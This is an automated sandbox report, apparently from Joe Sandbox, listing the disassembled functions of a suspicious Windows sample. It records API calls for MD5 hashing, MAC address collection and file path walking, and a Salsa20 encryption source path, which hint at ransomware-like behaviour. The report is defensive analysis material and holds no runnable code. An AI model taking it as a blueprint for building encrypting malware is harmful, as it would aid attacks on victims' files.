Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__cinit__wsetenvp__wwincmdln_doexit
String ID:
API String ID: 2587630013-0
Opcode ID: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction ID: 7082b750ddc29103f3c984cb6fc30cb2f1280ee8f42cb5262a6b676f22e3f134
Opcode Fuzzy Hash: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction Fuzzy Hash: F6F0F460709331A9DA3173B37A12B5F1654DF81768FE0054FF600A61C3DE9C8981856E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: daf740ff3ac2c3b591e036bdef447c77de08716d8619f20f92381a2c96999064
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: daf740ff3ac2c3b591e036bdef447c77de08716d8619f20f92381a2c96999064
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(005C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 473631332-1604013687
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5d71b88130c3850f1ce6f9c9fc3c3b56fc5be04f011d63241bb511ce3f1a2a20
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5d71b88130c3850f1ce6f9c9fc3c3b56fc5be04f011d63241bb511ce3f1a2a20
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
